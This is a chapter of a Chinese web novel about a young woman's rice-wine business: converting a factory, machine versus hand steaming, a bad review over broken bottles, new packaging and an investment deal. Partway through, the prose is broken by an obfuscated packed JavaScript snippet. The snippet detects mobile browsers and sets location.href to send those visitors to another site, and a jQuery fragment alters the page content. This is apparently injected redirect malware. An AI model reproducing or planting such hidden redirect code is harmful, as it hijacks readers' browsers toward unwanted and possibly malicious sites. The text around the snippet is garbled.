第十二章破碎与修复
废弃的粮食加工厂在镇子北边，红砖墙上爬山虎长得张牙舞爪，铁门锈得只剩半边，门轴吱呀作响，像老人在叹气。但走进去，里面空间确实敞亮，挑高五米的水泥房，粗大的横梁上挂着蜘蛛网，地面落了厚厚一层灰，踩上去脚印清晰。
王慕青、陈远、林徽站在厂房中央，像站在巨兽的肚子里。梁海安请来的装修队负责人老李拿着卷尺量来量去，嘴里念念有词：“这儿隔清洁区，得贴瓷砖到顶。这儿做蒸煮间，排气管要重走。这儿发酵区，温度湿度得控。这儿灌装包装区，流水线从这儿到那儿……”
林徽划着平板电脑，屏幕光映在她脸上：“设备清单发你了，蒸米机自动灌装机贴标机封口机，全套下来十五万左右。安装调试一周，下周末能试产。”
王慕青听着数字，心里噼里啪啦算账。林徽的五十万投资，设备十五万，厂房改造十万，还剩二十五万做流动资金。确实能解燃眉之急。
但有个坎儿过不去。
“蒸米机一定要吗？”王慕青问，“三叔公说，机器蒸的米没魂，像塑料花没香气。”
林徽停住划屏幕的手指，抬头：“王慕青，我尊重传统，但商业讲效率。手工蒸米一天最多两百斤，还得三班倒。机器一天两千斤，一个人看着就行。十倍效率，意味着能把那五百多单的坑填上。”
“可是味道……”
“做盲测。”林徽很理性，“同一批米，一半手工蒸一半机器蒸，酿好编号，找人来尝。如果十个人里八个分不出区别，或者觉得区别不值十倍价差，那用机器就是合理选择。”
陈远小声嘀咕：“我觉得林姐说得在理。咱们现在欠着五百多单债呢，天天熬夜熬成熊猫也赶不完。”
王慕青沉默。她想起三叔公说“酿酒如养孩子”，想起那些需要守着温度计盯着的夜晚。机器能模拟人的耐心吗？能感知米粒的呼吸吗？
“先改造厂房吧。”她最终说，“设备的事，我和三叔公再合计。”
林徽看她一眼，没坚持：“行。你是创始人，你拍板。”
一行人走出厂房，午后阳光晒得人发晕。王慕青手机震，是网店后台提示音——不是新订单，是客户评价。
她点开，第一条好评：“酒收到了，冰袋还硬着！包装精致得像礼物，口感清甜，会回购！”
第二条也是好评：“支持良心产品，希望越做越好。包装上的小故事很暖心。”
第三条……
王慕青手指顿住。
一颗星的差评，红得刺眼。评价写了一大段：“酒是好酒，但收到时瓶子碎了两个，酒漏了一箱子。联系客服，半天才回，让拍这拍那走流程，说要核实。我等了三天，才说补发。我就想问问，你们有没有考虑过消费者感受？二十八元一瓶不便宜，服务能不能跟上？包装能不能用点心？”
配图是惨烈的现场：破损的纸箱，瓷瓶碎片混着酒液，泡沫塑料泡成了粥，一片狼藉。
王慕青心里一紧。她记得这单，地址杭州，快递走了四天。当时客服是陈远兼的，他白天打包晚上回消息，确实慢了。
“咋了？”陈远看她脸色不对。
王慕青把手机递过去。陈远看完，脸白了：“这……这是我处理的。那天我在打包一百多单，后台消息炸了，我看漏了这条……”
“现在不说这个。”王慕青深吸气，“赶紧联系客户道歉，立刻补发，再送两瓶当补偿。态度要诚恳，别找借口。”
她转向林徽：“你看，这就是咱们现在的短板。产品还行，但供应链客服售后，全是窟窿。”
林徽点头：“所以你需要专业团队。我投资里包含这部分预算，可以请专业客服，建标准化流程。”
“可现在咋办？”陈远急得挠头，“这差评挂在首页，新客户一看就跑路了。”
王慕青强迫自己冷静：“先灭火。陈远，你立刻联系客户，诚恳道歉，今天就把补偿寄出，发顺丰。我写个公开回应，说明情况，承诺改进。”
她边走边开手机便签写。阳光晒得额头冒汗，但手指打字很稳。
梁海安一直没说话，这时开口：“物流公司是我推荐的，破损率超标，我去谈赔偿。另外，我公司客服部可以借两个人过来帮忙，带一带你们的人。”
王慕青抬眼看他。
“不是插手，是支援。”梁海安补充，“等你们培养出自己的人，他们就撤。”
林徽笑了：“梁海安，你倒是会抓机会。”
梁海安没接茬，只看着王慕青：“你觉得呢？”
王慕青看着手机里那个刺眼的红五星差评，再看看梁海安认真的眼神，最终点头：“好。谢谢。”
“不用谢。”梁海安立刻拿手机打电话。
回到三叔公院子时，差评的事已经传开了。李老四和小张小陈他们都围过来，气氛沉得像要下雨。
三叔公坐在屋檐下抽烟，听完后说：“瓶子碎了？那是包装没包扎实。我早说了，瓷瓶好看不抗造。以前我们用陶罐，摔地上蹦三蹦都不破。”
王慕青苦笑：“三叔公，现在消费者看颜值。”
“颜值能当酒喝？”三叔公哼一声，“酒好才是根本。不过……”他起身去仓库，窸窸窣窣翻出一堆旧陶罐，“这是我爷爷那辈用的，你们瞅瞅，能不能改改样儿，既好看又抗造。”
王慕青接过陶罐。罐身质朴，带着岁月磨出的温润光泽，手感敦实。她脑子里闪过个念头：也许可以开发个“古法系列”，用陶罐包装，讲更老的故事，卖更高价。
但眼下最急的是灭火。
下午，王慕青写了篇长文发在网店公告和社交媒体上。没推卸责任，坦承了客服响应慢的问题，公布了改进措施：24小时客服在线，破损包赔，建立更严打包标准。最后附上和差评客户的沟通截图，客户已同意修改评价。
文章发出去，评论区大多表示理解。但王慕青知道，一次差评的伤，需要十次好评才能养回来。
晚上七点，梁海安说的两个客服到了，一男一女，都二十出头，背着笔记本电脑。他们很快在堂屋搭起临时客服台，整理出标准话术和流程，动作麻利得像在演电影。
陈远跟着学，笔记本写得密密麻麻，嘴里念叨：“首次响应不超过两小时……破损订单优先处理……补偿方案分三级……”
八点，梁海安从县城回来，带来消息：物流公司同意加强青塘镇路线的包装培训，并承担破损订单的赔偿。
“另外，”他把文件夹递给王慕青，“我找了家包装设计公司，做了几个防震方案。你看看。”
王慕青翻开文件夹。里面是几种新型缓冲材料的介绍，还有针对瓷瓶的定制包装设计。成本比现在用的气泡柱高30%，但测试数据显示，破损率能降80%。
“这成本……”她犹豫。
“物流公司答应担一半，算他们服务不周的补偿。”梁海安说，“剩下一半，如果你觉得值，就投。觉得不值，我再想辙。”
王慕青看设计图。有个方案很巧，内衬是蜂巢结构的再生纸浆，瓷瓶嵌在里面，上下左右都有缓冲，像给瓶子穿了盔甲。另一个是可充气气囊，打包时充气，完全贴合瓶身，拆包时放气，不占地方。
“我想试试这个。”她指蜂巢纸浆方案，“环保，还有点设计感。”
“好。”梁海安立刻记下，“我让他们打样，明天送来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177367|196920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
王慕青看他低头记录的样子，忽然想起上辈子，她提的任何需求，他都说“这种小事你自己定”。现在他为了一款包装，亲自跑县城，亲自谈合作，亲自记笔记。
“梁海安，”她轻声说，“这些事，你可以让助理跑。”
梁海安抬头，笑了：“助理跑，和我跑，不一样。”
“哪儿不一样？”
“助理跑了，是工作。我跑了，”他顿了顿，“是上心。”
院子里灯光昏黄，远处传来阵阵蛙鸣。这一刻很静，静得能听见彼此的呼吸声。
王慕青移开视线：“谢谢你的上心。但别太累。”
“不累。”梁海安收笔记本，“比开会轻松，至少不用穿西装打领带。”
这时，陈远从客服台跑过来，手里举着手机：“慕青！那差评客户改评价了！改五星了！还说咱们处理态度好，要推荐给朋友！”
王慕青接过手机看。客户的新评价写了一大段，说收到了补发的酒和补偿，包装特别扎实，客服全程跟踪，感受到了诚意。
她长舒一口气。
林徽不知何时也过来了，看完评价说：“危机处理得还行。但你要有数，这种事往后少不了。做食品，做电商，永远有意料之外的坑。”
“我知道。”王慕青说，“但有坑就填，填一个少一个。”
林徽笑了：“你这心态，能成事儿。”
她看了眼梁海安，又看回王慕青：“投资的事，考虑得怎样？我下周回江城，希望走前能定。”
王慕青还没答，三叔公突然开口：“丫头，你过来。”
王慕青走过去。老头儿指着院子里一口大缸：“这是我用机器蒸的米酿的，你尝尝。”
“机器蒸的？”
“嗯。”三叔公表情复杂，“林丫头说得对，试试不吃亏。我让李老四去县城借了个小蒸米机，试了一锅。”
他舀了一勺酒。王慕青尝了，在嘴里含了三秒才咽。
“咋样？”三叔公问。
王慕青沉默几秒：“和手工蒸的……有差别。机器蒸的米更均匀，每粒都差不多，但少了点那种……说不上来的层次感。手工蒸的，有的软点有的硬点，酿出来反而有变化，有活气儿。”
“对喽。”三叔公点头，“机器太完美，完美得没个性。手工蒸的米，像人，各有各脾气，酿出来才有意思。”
他把酒勺放下：“但我也知道，你们年轻人要产量，要挣钱。这么着吧，基础款用机器蒸，保产量。特色款限量款用手工蒸，保风味。两头不误。”
王慕青眼睛亮了：“这主意好！”
她转向林徽：“林小姐，投资我接。但我有条件：三叔公做技术总监，有绝对话语权。手工系列必须保留，不能为产量牺牲风味。”
林徽爽快点头：“合理。合同我明天带过来。”
事儿似乎都在往好里走。但王慕青知道，真的挑战才刚开头。
晚上十点，人都散了。王慕青一个人在院子里收拾。月光很好，洒在酒缸上，泛起一层银粼粼的光。
手机亮，梁海安消息：“新包装样品明早十点到。另外，我周末在镇上，有事随时喊我。”
王慕青看着那条消息，回复：“好。早歇。”
她放下手机，看那轮明月。想起上辈子，她总在等梁海安的消息，等得心慌。现在不等了，消息倒自己来了。
命运这玩意儿，挺逗。
但她提醒自己：别太快心软。路还长，得慢慢走。
眼下最实在的，是把那五百多单酒，一瓶一瓶，妥妥地送到人手里。
这是她的承诺，也是她的开始。至于那些破碎的瓶子，修好就是。